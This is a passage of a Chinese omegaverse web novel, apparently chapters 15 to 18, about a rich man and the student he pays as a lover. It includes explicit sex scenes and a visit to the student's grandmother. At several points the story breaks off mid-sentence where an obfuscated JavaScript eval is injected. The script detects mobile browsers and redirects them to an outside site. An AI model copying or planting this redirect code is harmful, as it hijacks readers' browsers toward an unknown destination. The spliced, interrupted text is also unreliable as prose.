谢铮没理他,手掌抵在路鹿后腰上,嘴唇漫无目的地亲自己能碰到的地方,腰线、肚脐,带点消遣和撩拨的意思。 头顶上路鹿的笑声渐渐变成隐忍的呼吸声。 谢铮松开路鹿,抬头看一眼路鹿,坏笑着伸手指一下自己的嘴唇。 路鹿想,这人可真够偷懒的,要亲亲的人分明是谢铮,却连站都懒得站起来。 唉……谁让他才是拿钱的员工。 他笑眯眯地在谢铮面前蹲下来,仰起头,翘着嘴角等他老板来亲自己。 可老板竟然还不满足,竟然按着他肩膀又把他往下压了压,这才放下二郎腿,屈尊纡贵地低头亲他。 路鹿慢慢张开嘴巴,感觉到阔别许久的胡椒味侵入了自己的口腔。 亲完以后,谢铮说:“以后少勾三搭四的,今天的事别再让老子撞到第二次。不然——” 路鹿看着谢铮愣了会,像是没想到谢铮还在想着刚才的事。 然后他笑起来,边笑边抓起谢铮的手放在嘴边,嘴唇碰了碰谢铮的骨节:“嗯哈,叔叔放心。” 谢铮伸手,使劲儿捏了下路鹿的脸,大爷似的:“去,把衣服换上,我看看。” 这条商业街的衣服其实都不太合谢铮的审美。 但路鹿算是个衣服架子,就算是最简单的白T穿在他身上都很好看。谢铮带他逛了几家店,随便买了几套衣服,看着穿着自己挑的嫩绿色T的青葱得仿佛能掐出水的路鹿,谢铮第一次对“自己是金主包了个男大”这个概念有了清晰的认知。 没什么罪恶感,爽倒是真的爽。 谢铮的车停在步行街外面,两人一起步行过去,路鹿弯腰和等在车里的老田打了个招呼:“田叔叔好久不见。” 老田已经是给两人亲手买过润滑液的人了,自然知道谢铮和路鹿的关系并不简单。他安静得像个哑巴,只是打开后备箱,让路鹿把手里的东西放进去。 半个小时后老田把车开到了一家俱乐部门口。 路鹿听人说过,这种俱乐部都是会员制,看似即将要倒闭似的,实则会费一年就够买市中心的一两层房。 进去后路鹿才发现这种地方真是别有洞天,豪华的内部装潢中闲闲走着一两个看起来就很有钱的老板、以及守在一边的侍者。和谢铮约在这里的人还没来,趁着这个工夫,路鹿用手机一口气拍了好多张照片。 谢铮端了杯酒,掀起眼皮看路鹿一眼,见到他正在把照片发给谁,调侃问:“发给小情人?” “咳……”路鹿呛了一下,举起手机给谢铮看:“发给我奶奶。” 聊天框上的备注还真是“奶奶”两个大字。 谢铮耸了耸肩,笑着噢了声。 说着话路鹿那边收到了消息,是条语音,路鹿点开,喇叭里传来很大声老人的嗓音:“鹿鹿去哪里玩了,吃……” 后面的话被路鹿按音量键调低了,他歉然地说:“我忘记调音量了。” 谢铮倒是不在意这个。他扬眉问路鹿:“淮流县的口音吧?” 淮流是J市附近的小县城,谢铮在某一个暑假的时候和狐朋狗友去玩,别的倒是都不太记得了,就记得淮流人的口音听起来很有意思,尾音带个上扬的钩。 见路鹿点头,谢铮的眉头再往上扬了扬:“你也是J市人?” 路鹿“嗯”了声。 谢铮觉得有趣:“那我们俩算得上是老乡。” 何止。还是校友呢。 路鹿忍笑。 谢铮对淮流这个地方印象很好,难得起了点闲聊的心思:“你们那儿有个公主湖是吧,后面那棵樱桃树还在不在?是我当时种过去的。” 路鹿嘴角上扬:“在呢。每年都结一批樱桃,我还吃过几次。” “好吃吗?” 路鹿脸上露出了一言难尽的表情。 谢铮大笑,还想再问什么,和谢铮约见面的人已经来了,是个四十岁左右的女人,女精英的气质,和谢铮握了握手后就朝房间里走。 临走前谢铮还没忘安置路鹿:“随便吃点东西,宝贝儿,都是免费的。” 等谢铮的身影消失在回廊深处后,路鹿立刻打开微博。 他算是个挺爱拍照和记录的人,好看的夕阳、捡到的笔直的木棍、圆溜溜的石头……什么都要拍一份发到小号里,路鹿翻了很久,终于从一大堆仅自己可见的微博图片里找到了那颗樱桃树。 从路鹿有记忆起那棵树就在湖边了,半死不活的,春天的时候冒一枝头的小樱桃,鸟都不爱吃,更别提人了。 谢铮竟然去过淮流,路鹿看着照片里的天空、河流、樱桃树,突然觉得这些风景变得好看了一些。 - 谢铮出来后时间已经算晚了,路鹿趴在大厅的台球桌上枕着手臂摆弄着黑球。 谢铮走到他旁边,问:“会打吗?” “我在桌球店打工过,知道规则,但几次上手都玩得很烂。” 谢铮挑着嘴角:“没事,我教你。” 他拿了根杆,擦好巧粉递给路鹿,等路鹿摆了个差不多的姿势,谢铮从后面覆上去,一手搂着路鹿的腰,一手覆盖在路鹿手背上。 “握杆太靠后了。”谢铮的声音很轻,带着点儿笑意:“再往下压一点。” 他帮忙调整了一下角度:“打!” 路鹿听话地出杆,但其实没有去看球进没进,只是听到噼里啪啦的声音。他用比谢铮更轻的声音说:“谢叔叔,你石/更了。等下要去酒店吗?” 谢铮笑,气息落在路鹿耳朵上:“臭小子,你装不知道就好了,说出来干嘛?有外套没?给叔叔挡一下。” 路鹿还真带了一件防晒用的外衣,他从包里翻出来递给谢铮,谢铮凑到鼻尖上闻了闻,又把衣服搭在手臂上,挡在身前。 路鹿看着谢铮没事人一样的样子就想笑,他使劲咬着嘴唇,一上车就被谢铮按在后座上,咬住嘴唇。 老田眼观鼻、鼻观心,心如止水地把挡板升上来。 路鹿问谢铮:“那个樱桃树是什么时候种的?” 谢铮:“…………” 他真服了。 到底是什么神人在和别人打啵的时候会关心樱桃树的芳龄? 路鹿又想笑了,他笑眯眯地凑近谢铮,作势在他颈间轻轻嗅闻着。 其实路鹿本来是怕谢铮又觉得自己不够专心的,但真的闻到谢铮身上那股胡椒味信息素的时候那些念头就自然而然地被抛到脑海外了。 他不喜欢刺鼻的味道,吃饭的时候也并不喜欢浓调味的口味,但谢铮的味道不一样,让他头晕目眩,心脏发痒。 omega平时都会把自己的喉结藏起来,于是对于另外两种性别来说,喉结也跟着变成了带有性色彩的身体部位。路鹿含住谢铮的喉结,感觉到谢铮的身体有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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镜子上起了一些水雾,路鹿伸手抹开,先是看到谢铮结实的后背,又看到自己的脸,耳朵已经全红了,眼神却很幽空,像填不满的黑洞。 路鹿很强硬的语气:“再说一遍。” 等一切都结束已经很晚了。 两人都乱七八糟的,路鹿在浴缸里放了水,和谢铮一起泡进去。 谢铮餍足地靠在路鹿胸口上,连手指都懒得动弹。 路鹿挤了沐浴露,搓出浓密的泡泡,很细致地帮谢铮打上。 “妈的……”谢铮从喉咙里含糊不清地骂路鹿:“从外面也看不出来你鹿鞭那么——” 路鹿猛地呛了一下,使劲咳嗽起来:“……” 谢铮坏笑:“哦,这会儿又纯情上了。刚才是谁把我干得差点吐出来。” 实在是一步到胃。 路鹿:“…………” 他也是真的服了谢铮这张嘴巴了。 等打好沐浴露,谢铮伸长腿,上下打量自己身上的痕迹,饶有兴趣地问:“是我咬你多还是你咬我多?要不要数一下谁身上牙印更多?” 路鹿想,那还用数,肯定是自己被咬得更多。 他可没有什么咬人的爱好,都是谢铮按着他的头让他啃,谢铮就不一样了,只有嘴边有肉,张开嘴巴就是一口,也不管是哪儿,不见血都觉得不痛快。 路鹿笑着刚想说话,却歪头听了听:“有手机的动静。” 他湿漉漉地裹着浴巾朝外走,谢铮借机眯着眼打量路鹿匀称的小腿。 没过多久,谢铮听到外间传来路鹿的声音:“谢叔叔,是你的电话。” “谁?” “来电显示是孟海瑛。” 哦,是他妈。 16.第 16 章 第16章 谢铮撩了一把额发,湿漉漉地伸出手:“给我。” 路鹿看了一眼谢铮的表情,把手机放在他手心。 “谢铮,”电话接通后,听筒中传来孟女士平静的嗓音:“你觉得别人看我们家的笑话还没看够吗?” 谢铮笑:“你把自己当笑话,别人才会笑你。” “……我答应你,暂时不会再催你结婚。” 谢铮:“再说吧。” 孟女士沉默了一会,问谢铮:“你是不是……还没治好?你别忘了,那时候你每天有多……” 浴室的瓷砖墙起了很多水雾,谢铮伸手把那些雾气抹掉后,从砖面的反光上看到了自己现在的表情——阴恻恻的,绝对称不上好看。 谢铮又笑了两声,打断孟女士:“妈,我现在没空,你想和我闲聊的话,过几天我打给你。” “你……” “先挂了。” 谢铮切断和孟海瑛的通话,面无表情地缓了一会。 浴室门外响起的敲门声突然打断了这片寂静。 谢铮听到路鹿年轻又明亮的嗓音隔着门板响起来:“谢叔叔,你吃汉堡吗?我点外卖。” 谢铮擦着头发出去时,路鹿趴在床上,正在两个选项里纠结:“蛋挞还是土豆泥?” 男生的头发还湿漉漉的,贴在白皙的面颊上,落在后颈上,看起来格外诱人。谢铮弯腰捏着他下巴亲过去,牙齿用力咬着路鹿的下唇。 路鹿发出很轻的笑声:“怎么了,谢叔叔。”因为嘴巴被吻着,路鹿说话的语气很含糊,也很柔软。 安静了一会后,谢铮说:“再做一次。” 不等路鹿回答,谢铮的嘴唇一路往下,蜻蜓点水一样经过路鹿的胸膛、锁骨、小腹。 谢铮张开口,听到路鹿吸气的声音。 “谢叔叔,”路鹿的声音低低的:“你不用做这个的。” 谢铮咳嗽两声,身体开始出现alpha之间的排异反应,不光是喉咙,皮肤也开始泛起微微的疼痛。 谢铮几乎是瞬间就兴奋起来。 …… 等两人再折腾完,时间已经很晚。 谢铮最终给路鹿点了一份蛋挞和土豆泥都有的外卖,用以犒劳。 路鹿很大口地咬着食物的样子的样子看得人很有食欲,等吃完后,他又摸出来小瓶装的维生素吃了两粒。 谢铮忙着回消息,叼着一根烟懒散地靠在床头,等路鹿吃完,就对路鹿招招手,把男生的头按在自己胸前:“吃。” 很大方的语气,像是在请客似的。 路鹿想笑,但没笑出来。 他对别人的情绪一向很敏锐,虽然谢铮什么都没说,但路鹿还是觉察到他心情似乎不佳。 但他上次询问关于谢铮心情的事,谢铮什么都没说。两个人是情人,不是爱人,就算两个人刚刚做过最亲密的事情,就算谢铮说了很多遍“最爱你了。” 路鹿用嘴唇碰碰谢铮的皮肤的同时,伸长手臂把谢铮抱在怀里。 谢铮的身体僵硬了一下。 年轻的身体散发着暖烘烘的热量,让谢铮不自在极了。他往外推了一下路鹿:“远点。” 路鹿的嘴唇在谢铮手臂上触碰着,沿着骨骼纹身的走向亲吻。 说也奇怪,谢铮没办法接受一个单纯的拥抱,这让他浑身都难受。但路鹿开始吻他之后这种难受的感觉就淡了很多,夹着欲念比没有欲念反而更让人容易接受。 他突然想起什么,抓着路鹿的额发让他抬起头来:“你没有互斥反应吗?” alpha易感期的时候通常要独处,不光是为了保护omega,还是为了保护自己。 alpha之间的信息素互相排斥,轻则浑身不自在,重则恶心呕吐发烧,谢铮最开始的时候还会发热,后来可能是和这个打架那个打架接触过太多a的信息素,就只剩下了皮肤疼。 倒是没看到路鹿有什么反应。 路鹿“嗯”了声:“我还好,就是有时候觉得有点痒,和过敏一样。” 和谢铮在一起的时候,他不光皮肤痒,心里也痒痒的,好像有毛茸茸的爪子在抓来抓去,难以排解,难以止渴。 和心里的感觉比起来,身体的痒反而很好忍受。 谢铮“噢”了声,手指在路鹿耳垂上揉了两下,轻笑:“那挺好,不容易留下工伤。” 路鹿:“……” 还工伤。 谢铮终于回完留言,把手机一扔。 路鹿带给他的几乎无法承受的疼痛和快活让他太累了,就像是一台被耗干了油的跑车,几乎是瞬间就沉睡过去。 第二天依旧是路鹿先醒来的。 谢铮睁眼的时候,路鹿已经穿戴整齐,叫了早点在等谢铮。 谢铮看着浑身清爽的男生,再看他扎在后脑的小尾巴,觉得心情大好。 他突然不想那么快离开,但翻开助理给自己的日程表,今天还有别的事要做。 助理的对话框下面就是孟海瑛的名字,在昨晚挂断电话以后,孟女士给他发了句“你父亲很想念你”。 这句话没什么,但一看到孟女士的名字,一想到他爸,谢铮就开始不由自主的烦躁。 他知道自己一定会回去的,虽然不是现在。 如果可以他一直都不想回去,想永远像这样当一个甩手掌柜,偶尔和自己的小情人厮混在一起。 烦。 妈的。 好烦。 谢铮以前心烦的时候通常会用两种方式发泄出来。 健身或diy。 酒店没条件给他健身,谢铮的大脑自动替他选择了后者。 他招呼也没打,手钻到裤子里,眼睛盯着路鹿,动作起来。 路鹿本来是背对着谢铮正在整理昨晚被扔在地上的购物袋,听到水声后他下意识转头,却愣了愣。 谢铮靠在沙发上,腿分得很开。一条手臂搭在沙发背上,另一只手则…… 自渎的谢铮看起来又不太一样,他的手无意识抠着沙发,头一直仰着,薄唇微微张开,脸一直在左右地找东西蹭。 路鹿自认并不是什么欲望强烈的人,但每次和谢铮相处的时候,就像有人在他身体里放了一把火,难忍难熬。 怎么都做不够似的。 “谢……”路鹿一出声,才意识到自己的嗓音已经哑了,而且谢铮一副看起来不想被其他人打扰的样子。 于是路鹿安静地闭上嘴,就只是在谢铮对面的大床上坐下来,看着,无意识地咬着嘴唇。 谢铮的呼吸声愈发粗重,嘴里开始嘀嘀咕咕地往外冒着话,路鹿听了一会,才听到谢铮说的是:“操,小鹿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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于是等崔松柏再问自己的时候,路鹿顺着他笑眯眯地说:“是吧。” 谁知道崔松柏还是呜呜咽咽地装哭:“小鹿学坏了,都知道敷衍老父亲了。” 路鹿:“……” 周五那天,Y大门口停的全是出租车。 上了一周课的学生急需娱乐,三五成群地往校外走。 路鹿上完了最后一节素描课,也来到校门口。 谢铮在五分钟前已经给他发了消息:在你学校门口。 路鹿记得谢铮的车,但扫了一圈也没能找到。 正要给谢铮发消息,却听街对面传来长鸣的喇叭声。 喇叭声有种不把别人耳膜放在眼里的嚣张感。 路鹿似有所感地抬头看去,果然看到一辆宽阔高大的黑车停在阴影处。 他走上前,照例先和老田打了个招呼:“田叔叔。” 老田指着导航问:“你看一眼,定位没错吧?” 路鹿仔细确认了一遍:“没错。辛苦田叔叔了。” 老田呵呵笑。 坐在后座的谢铮也笑。 老田的工资几乎是路鹿的翻倍,要说辛苦,路鹿和老田指不定是谁才更辛苦。 等路鹿坐在旁边,谢铮抽抽鼻子:“什么味儿。” “油画颜料吧。”路鹿闻闻自己的手指:“今天上午是油画课。” “不是,柚子味。”谢铮拽着路鹿的领口闻:“你不会要易感期了吧?你上次易感期是什么时候?” - 路鹿微博 [发布于四天前] @Deer:见家长? 17.第 17 章 第17章 “上次?” 路鹿打开手机备忘录,谢铮扫了一眼,看到上面一行行的都是数字,混合在一起也不知道究竟哪个数字代表什么意思。 “上次是四个半个月之前。”路鹿准确无误地在那堆数字里指了个日期:“我一般是半年一次,应该没有那么快……吧?” “说不准。”谢铮拎着他的领子再闻一闻,柚子的味道很浓,带一些尖锐的感觉:“和平时的味儿不一样,备好抑制剂吧。” 路鹿“嗯”了声,笑:“如果真的易感期了,又可以请假了。” “你易感期症状很严重?” “也没有,”路鹿忍笑:“就是想偷懒。反正是合理请假的理由,老师也不会说什么。” 谢铮挑了挑嘴角:“坏小子。” “难道谢叔叔你上学的时候不会请假吗?” “不请,”谢铮嘴角的笑意更大了:“我直接旷课的。” 这还是路鹿第一次听到谢铮讲他之前在学校的事情。 路鹿在一瞬间想到教导主任头痛的眼神,想到一千米记录上的最好成绩,也想到了自己桌子上被人刻下的龙飞凤舞的“谢”字。 以前的谢铮究竟是什么样子?他还想继续听下去,追问:“然后呢?老师不会说什么吗?” “一般的老师不管我。”谢铮翘起二郎腿:“不过后面有个班主任总爱找我谈话劝我好好学习。很烦。” “然后呢?” “然后?被烦着念了几天的书,上大学,创业,包养小情人。” 路鹿一愣,忍不住弯起眼睛。 前座的老田默默升上挡板。 谢铮伸手敲敲挡板:“老田,害羞了?” 车子猛地一个刹车,又重归平稳。 谢铮很欢乐地大笑出声。 路鹿还惦记着刚刚的话题,还想再问,却见谢铮捂着嘴打了个哈欠。 “困?” 谢铮点头。 他昨晚和人应酬很晚才睡,早上又连开几个会,看文件看得眼睛疼。 这会儿总算闲下来了,谢铮腰往下一塌,直接躺在路鹿腿上。 路鹿把手当成梳子帮谢铮梳了下头发。 谢铮歪头看到路鹿T恤上的印花,觉得有点眼熟:“这是我给你买的吧?” “是。” 谢铮在路鹿小腹上亲一下,觉得很满足:“不错。” 淮流距离Y市不算远,老田开得又快,只一个半小时以后就临近目的地。 不用路鹿叫,谢铮自己就起来了:“饿了。” “正好,”路鹿拿出手机给谢铮看图片:“我奶奶说饭已经做好了。” 谢铮看着那张照片。 略显模糊的图片上正中间是一张圆桌,上面摆满了饭菜,家常但丰富,中间还摆了一瓶花,看得出这是一场隆重的迎接。 其实谢铮没有想去路鹿家里做客的打算的。 他住酒店,路鹿回家,白天的时候再一起出来转转,本来是最完美的安排。 但谢铮只是疏忽了这么一下,路鹿就把谢铮要去做客的事情通知到位了,现在老人家以为谢铮是学校的老师,对谢铮的到来的很热心,做了一桌好饭菜,还特意去买了一提啤酒。 谢铮笑:“替我谢谢你奶奶。” 从高速下来以后,淮流的路越来越狭窄,老田费力地把车子拐过一个又一个的小路,终于抵达了终点。 其实路鹿家比谢铮想得要好一点,至少是个老式小区,虽然外表陈旧了一点,但环境还算不错,路上也能见到在遛弯的老人。 这些遛弯的人中有不少都认识路鹿,离得老远就一口一个“小鹿回来了”的和路鹿打招呼,还有人往路鹿手里塞小零食。 再往前走一段路,路鹿突然抬高声音,朝前招手:“奶!” 谢铮顺着路鹿的目光看过去,在一间便利店前看到了一个银发老人,老人戴着眼镜,气质很儒雅温和。 她听到声音,立刻朝路鹿的方向走,简单和路鹿说了句话后,又远远地朝谢铮伸出手:“谢老师,平时多谢你关照路鹿。” 谢铮这辈子就没被人叫过几次老师。 他浑身的汗毛都快倒竖过来了,忍着别扭:“你好。” 又朝老田使个眼色。 老田连忙上前,把手里大包小包的东西展示给对方看:“老人家好,这两天多打扰你们了。” 应酬的话留给老田去说,谢铮悠闲地四处看看,记忆里面关于淮流的事情在略显陌生的空气中变得一点点复苏。 他想起来自己在海滩边吃烧烤吃了个爽,那个老板看他们吃得开心,还多送了很多给他们,最后结账的时候还给抹了个零。 可能是因为地方小,谢铮发现淮流的人生活节奏都很慢,都有一种与世无争的悠闲感。 也难怪路鹿的性格蠢兮兮的。 四个人一起吃了顿晚饭,路鹿的奶奶手艺很好,这让谢铮倒是有点意外。 老人家很得意:“那是你们没尝到我老伴的手艺,他做饭可好吃了。我儿子跟他学了几年,之前在海滩边开了家烧烤店,现在都有人念念不忘。” 谢铮扬了扬眉。 他问:“现在不开了吗?” “儿子儿媳命不好,走得早。”老人家眼睛黯淡了一瞬:“鹿鹿命也不好,他……” “奶奶——”路鹿拖长声音:“我哪里命不好啦?” 老人家道:“你就是太懂事了。” 路鹿给桌上其他三人一人夹了一块炸鱼:“吃饭吃饭。” 吃完饭后路鹿陪老人家去外面倒垃圾,留谢铮和老田待在屋子里。 谢铮双手插兜站在落地镜前。 那镜子上面贴了不少照片,看着都有年头了。最上面的一张是路鹿小时候的照片,看着才刚出生不久似的,裹在襁褓里,眼睛很大。 旁边的照片是一对青年男女,谢铮看着那带颈环的女人愣了愣:“他妈的……” 说来也巧,这女人竟然是他高中的时候总爱找他谈话的高中班主任。 她只教了一学期,后来去哪里了谢铮也不知道,没想到竟然是路鹿的母亲。 世界真他妈小。 老田凑在谢铮身边,问谢铮:“谢哥,今晚怎么安排?” 路鹿的奶奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518601|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很坚持地让两人留宿。 留宿就留宿吧,地方又不够大,沙发能睡一个,路鹿的房间能睡一个。 老田:“小孩那张床我看了,1.8米的单人床,两个大男人挤肯定难受。要不谢哥你睡沙发?” 谢铮:“………………” “你他妈的脑子被当垃圾扔外太空去了?我求你能不能用用头脑?”谢铮凉飕飕地看着老田:“我睡沙发,让我哥们儿和我小情人睡一张床??老子没有那种癖好!” 老田也意识到不对:“那……那谢哥你睡床,我打个地铺,让小孩去沙发睡。” “……然后让人家奶奶以为我们虐待他的好大孙?” 谢铮抬腿在老田屁股上踹一脚:“他妈的你给老子闭嘴吧,出的都是什么馊主意。” 老田摸着后脑勺嘿嘿笑,看得谢铮火冒三丈。 最后谢铮还是选择了最传统的分配方案:他和路鹿睡卧室,老田在沙发上凑合一晚。 路鹿的卧室很干净,有淡淡的柚子味道。角落的小柜里堆得都是画纸,桌上摆了几个小雕塑。 老人家就睡在隔壁,谢铮就算欲望再强也萎了,今晚就只是睡觉。 他背对着路鹿枕着手臂,感觉到年轻人的身体暖烘烘地挨着自己。 半夜的时候路鹿的手机响了一声,过了一会后,谢铮听到路鹿轻轻的嗓音:“谢叔叔,我收到转账了。” 谢铮“嗯”了声。 今天刚好是给路鹿“发工资”的日子,谢铮提前叮嘱了助理,比原来说好的给再多给路鹿转一万。 路鹿问:“怎么给了这么多?” 谢铮转过身,抬手掐着路鹿的下巴摇晃了两下,坏笑:“因为叔叔最爱小鹿了。” 路鹿在黑暗中抿了抿唇。 他撑起身体,突然凑近谢铮去吻他,很细致的亲吻,直到有口水都顺着谢铮的嘴角落下来。 谢铮感觉到这吻和平时不太一样,像是带着情绪。但具体是什么情绪谢铮也说不明白。 他使劲把路鹿推开,抽了几张纸擦嘴:“你发什么疯呢?” “今晚不做吗?”路鹿问:“总觉得我不能白拿钱。” “……”谢铮失笑:“你他妈还挺有职业道德。” 路鹿又凑上来亲谢铮,谢铮闻着路鹿身上和平时不太一样的柚子味也渐渐有了感觉。他伸手在路鹿额头上弹好几下,扯开睡衣领口:“……速战速决。” 老田和路鹿的奶奶就在外面,两人都不敢出声,无声的摩擦反而让谢铮更兴奋,他拽着路鹿的头发,使劲咬他的肩膀,忍着细碎的声音,浑身都在哆嗦。 “啊……”谢铮终于忍不住出声了,他知道路鹿爱听什么,沙哑地道:“乖小鹿,叔叔好爱……” 话刚说了一半,路鹿突然伸出手,捂住了谢铮的嘴。 叔叔好喜欢你,叔叔最爱你了。 甜蜜的情话,其实没有什么多余的感情。 听得时候其实挺开心的,像是有人在他脑海里面炸烟花。但开心之后涌上心头的却是巨大的空洞。谢铮还不如不说,说了,他就一直想听,想着还不够,还总忍不住把这当真话。 18.第 18 章 第18章 路鹿的房间有一扇窄窄的小窗,第二天谢铮是被晒醒的。 浅金色的晨光从那扇窄窗户钻进来,能看到一点浮动的灰尘。 谢铮听到门外有讲话的声音。 “鹿鹿,你把钱拿回去。” “都说了够用的,奶奶你就当帮我攒钱咯。” “真的够用?” “嗯哈!放心吧放心吧放心吧!” “李医生那边你最近去过没?” “之前放假的时候去看过他啦,那么大岁数了身体比我还健康,就是感觉他又胖了点……” “等下去剪个头发吗?都挡眼睛了。” “不剪!我特意留的,奶奶你不懂。” “这样好看?你问问你谢老师觉得怎么样?” “谢老师可喜欢啦——” 很平常的对话,但谢铮只在电视剧或小说里才听到过这样的台词,这在他家根本就是不可能发生的,他和他父母之间只有两种状态,要么是无话可说,要么就是夹枪带棒。 谢铮手指无意识抚摸着自己肩膀上米团的纹身,听到卧室门被人打开了。 路鹿探头往里面看了一眼,抬高声音对外喊:“醒了醒了!” “我奶奶非要我进屋看看谢老师醒没醒,不然她煮的粥就要凉了。”路鹿比划了一个手势:“我奶煮的瘦肉粥很好喝的,谢叔叔你尝了就知道了。” 谢铮的确闻到空气中有淡淡的食物香气。 他懒洋洋地伸出手:“把我衣服拿来。” 路鹿把谢铮的衬衫递给他,谢铮没接,反而伸出手,示意路鹿帮他穿上。 路鹿想笑的表情,抓着谢铮的手臂带他的手穿过袖口,又弯腰给谢铮系扣子。 路鹿一凑近,谢铮就又闻到他身上的柚子味道,比昨天上车那会儿更浓郁了,谢铮的皮肤开始出现明显的刺痛。 “你真的要易感期了。备好抑制剂吧。” 路鹿笑着侧过头,让谢铮看他耳朵后:“谢叔叔你昨天说过之后我就翻出来贴上了啊。” 褐色的圆形贴片就贴在路鹿耳后,路鹿皮肤白,贴片就显得格外显眼。 谢铮把路鹿的耳垂叼在耳朵里慢慢咬着,像是平时咬烟蒂那样。路鹿的鼻腔里开始发出闷闷的哼声,像是刚出生不久的小狗的叫声。 谢铮很喜欢听路鹿这样的声音。有另一个alpha因为他而情动对谢铮来说是很带劲儿的事。 他很得意地扬起眉,问路鹿:“所以你这次易感期真的提前了?不会是因为我吧?就这么喜欢叔叔?” 路鹿定定看着谢铮,也不说话;在一片安静中他帮谢铮系上衬衣的最后一颗纽扣。 吃完饭后老田还要帮谢铮跑腿就先走了,谢铮则被路鹿领着在海滩转了一圈。 金灿灿阳光下的路鹿让谢铮联想到了堆满冰块的水晶盘里的柚子瓣,晶莹明晰,赏心悦目。这让谢铮可以大度地原谅路鹿穿了一件花里胡哨的夏威夷风情的大衬衫来辣自己的眼睛。 下午的时候路鹿又带着谢铮去看了他种的樱桃树。 昔日赫赫有名的公主湖已经变成了无人问津的小水坑,樱桃树萧瑟地伫立在湖边,谢铮算了一下时间:“我上次来淮流的时候你才三岁。” 真可怕。 谢铮有种雇佣童工的感觉。 从公主湖回去的路上有个下坡路,几个小孩踩着滑板车尖叫着往下滑,眼见着就要撞在谢铮身上,路鹿拉了一把谢铮,自己反而被撞了个正着。 他手肘擦伤了一大片,鲜红的血顺着手臂、手指滴滴答答地落下来,几乎是瞬间就在地面上聚起了一个血做的小湖泊。 谢铮直接拽着领子把那小孩拎起来:“眼睛还打不打算要?说话。” 谢铮笑得很欢,但眉眼压低,戾气尽现,任谁都能看出他在生气。小孩被谢铮吓得哭都忘了,讷讷地张着嘴巴看着谢铮。 反而是路鹿噗嗤一声笑出来:“谢叔叔,我没事。” 他把小孩从谢铮手里抢救下来:“好了好了,和哥哥说句对不起,哥哥就原谅你们了。” 几个小孩甚至鞠了个躬,哆哆嗦嗦地道歉:“哥哥对不起。” 路鹿笑:“去吧。” 说话的工夫依旧有血顺着路鹿的指尖在往下滴,谢铮打过多少次架的人了,直觉不对劲:“是不是伤到动脉了?” “应该不是。” 路鹿眨眨眼,无辜的表情:“其实我是有点凝血障碍。平时咬几下倒是没什么事,这种大伤口就不太容易愈合。” 谢铮:“…………” 他开始回忆自己究竟在路鹿身上留下过多少个咬痕。 妈的,万一哪下没咬对,路鹿直接在他床上血溅三尺了怎么办? 这下他的罪名不只是雇佣童工了,还有虐待童工。 这么重要的事儿不说,蠢吧? 谢铮连骂几声:“走,去医院。” “不……” 路鹿拒绝的话还没说出口,被谢铮踹了一下:“闭嘴。你少和老子废话。” 两人转头去了医院,医生表示没什么大问题,帮忙止了血后,把路鹿的手臂包成了一条粽子。 路鹿伸出圆手:“看着还挺好吃的。” 谢铮表情有点古怪地看着路鹿,突然问:“所以你不让我上,就是因为这个?你怕受伤?” 路鹿“啊”了一声,眼睛弯弯地抬头望天,也不说话。 谢铮点了根烟,毫不客气地曲起手指在路鹿额头上连弹几下:“还挺体弱多病。下次员工体检给你报个名额得了。” “还有员工体检?”路鹿听起来还挺羡慕:“待遇不错。” 谢铮逗他:“那等你毕业之后也可以来我公司应聘。” “专业不对吧?” 谢铮嗤笑:“专业不对怎么了?我手底下不知道有多少其他专业的人。宋清远还跟我干过一个月。” 突然听到宋清远的名字,路鹿愣了下。 他脸上灿烂的笑容变得暗淡了一些:“谢叔叔,可以不提宋老师吗?” 怕老师? 谢铮吐一口烟,无所谓地耸了耸肩。 从医院出来之后时间就已经很晚了,再说一会话以后天色就已经彻底沉了下来。 两人慢悠悠地朝路鹿家走,到了楼下的时候路鹿突然抬起手朝一间窗户喊:“奶奶!” 谢铮顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519794|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着路鹿挥手的方向抬头,看到橘黄色温暖的光芒里有一个老人的剪影。 老人家对路鹿手受伤没说什么,反而是谢铮很罕见地生出了类似于过意不去的情感,给老田发了条消息,让他明天过来的时候再带点儿东西来。 晚上的时候依旧是谢铮和路鹿挤一个小床睡,谢铮记得睡觉之前路鹿问自己明天要去哪里转,谢铮也忘了自己有没有回答就睡着了。 老田说的没错,1米8宽的单人床睡两个大男人实在是有点挤,尤其是在气温日渐上升的五月中旬。 路鹿体温高,像个小暖炉,谢铮被烤的心烦,翻身往旁边挪,身体突然有一瞬间的悬空和下坠。 一只手在他掉在地上前牢牢抓住他,谢铮感觉到纱布的触感。 谢铮借着路鹿的手稳住身体,睡意朦胧地往路鹿那边凑了凑,脸颊因此贴在路鹿前襟上,路鹿还拽着他的上臂,从姿势上来看,简直就是最亲昵的睡姿。 路鹿垂下眼睛,看谢铮浓郁锋利的眉眼,沉默很久。 